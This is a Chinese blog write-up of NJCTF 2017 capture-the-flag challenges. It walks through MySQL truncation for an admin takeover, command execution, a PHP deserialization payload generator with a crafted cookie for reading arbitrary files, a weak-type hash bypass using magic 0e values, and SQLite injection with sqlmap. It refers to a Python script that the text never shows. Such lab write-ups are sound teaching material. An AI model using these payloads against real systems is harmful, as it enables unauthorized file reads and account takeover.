NJCTF 2017

周末去玩了NJCTF 2017,感觉很不好,要吐血。

web题

1、web100 Login

这道题有点像2016年北理的iscc最后一道题用到的是MySQL的超长截断,所以在注册的时候超长重置了admin的密码。密码要求有大小写,数字,特殊字符,必须有三种以上。

进去之后get your flag就可以拿到flag

1
2
we search the database, and you are admin .
welcome, admin. your flag is NJCTF{4R3_Y0u_7H3_Re41_aDM1N?}

2、web100 Get Flag
这道题是求助了小伙伴xnianq,因为我没看题,有个傻仔就问我了。
命令执行,随便执行个命令,就图片地址就可看到已经执行cat命令了,那就一直ls找到flag图片地址,再读就可以了。

3、web350 Text wall

这道题我找不到源码,是楼上那傻仔找到告诉我的。是通过备份文件.index.php.swo拿到部分源码如下:
PHP

1
2
3
4
5
6
7
8
9
10
<?php
$lists = [];
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
//.....
?>

看着头疼,根据__toString的触发条件构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
$a = new filelist();
$b= new filelist();
$b->source = '文件路径';
$a->source=$b;
$d=serialize($a);
$e=sha1($d).$d;
echo urlencode($e)."<br>";
?>

可以读文件内容,读了index.php,从内容中知道flag的位置。再构造。

1
2
3
$f = new filelist();
$f->source="/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g";
var_dump(serialize([$f]));

拿到命令就行

1
Cookie: lists=579574889b2cc082443598ee85d9a4839698a948a%3A1%3A%7Bi%3A0%3BO%3A8%3A%22filelist%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A46%3A%22%2fvar%2fwww%2fPnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g%22%3B%7D%7D

4、web300 Wallet

在爬路径的时候找到/www.zip拿到一个加密的压缩包,发现需要密码,猜到密码是njctf2017
解开是乱码,猜想是加密了,查质料发现是phpjm混淆加密,拿到加密之后的源代码,解密之后源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
require_once("db.php");
$auth = 0;
if (isset($_COOKIE["auth"])) {
$auth = $_COOKIE["auth"];
$hsh = $_COOKIE["hsh"];
if ($auth == $hsh) {
$auth = 0;
} else if (sha1((string)$hsh) == md5((string)$auth)) {
$auth = 1;
} else {
$auth = 0;
}
} else {
$auth = 0;
$s = $auth;
setcookie("auth", $s);
setcookie("hsh", sha1((string)$s));
}
if ($auth) {
if (isset($_GET['query'])) {
$db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
$qstr = SQLITE3::escapeString($_GET['query']);
$query = "SELECT amount FROM my_wallets WHERE id=$qstr";
$result = $db->querySingle($query);
if (!$result === NULL) {
echo "Error - invalid query";
} else {
echo "Wallet contains: $result";
}
} else {
echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";
}
} else echo "Sorry, not authorized.";

就扔给了xnianq

给了我两个值auth=240610708; hsh=aaroZmOk;

这里说一下两个值的由来。
比较sha1((string)$hsh) == md5((string)$auth),弱类型。
两个都为0e开头的值就可以,之前也刚好做过这种题。接下来就是SQList

使用sqlmap跑了一下,发现表是flag。然后就出了上面的python。

misc题

misc200 knock

描述:韩琛截获了一张纸条,突然记起来窃听器记录到房间里有人敲桌子
下载附件。
题目让人很容易误会。
然后xnianq给我说,两个附件中的数据数目是对得上的。

看起来和栅栏有很大的关系,结果并不是,看着很有句子的样子。然后找相关的密码学只是,找到了单表密码(替换密码),并找到了在线解密

它这里并不需要去找密码表。会将所有的可能都打印出来。

栅栏解密就可以得出。

总结:对于PHP来说,理解还得进一步的加深。

!坚持技术分享,您的支持将鼓励我继续创作!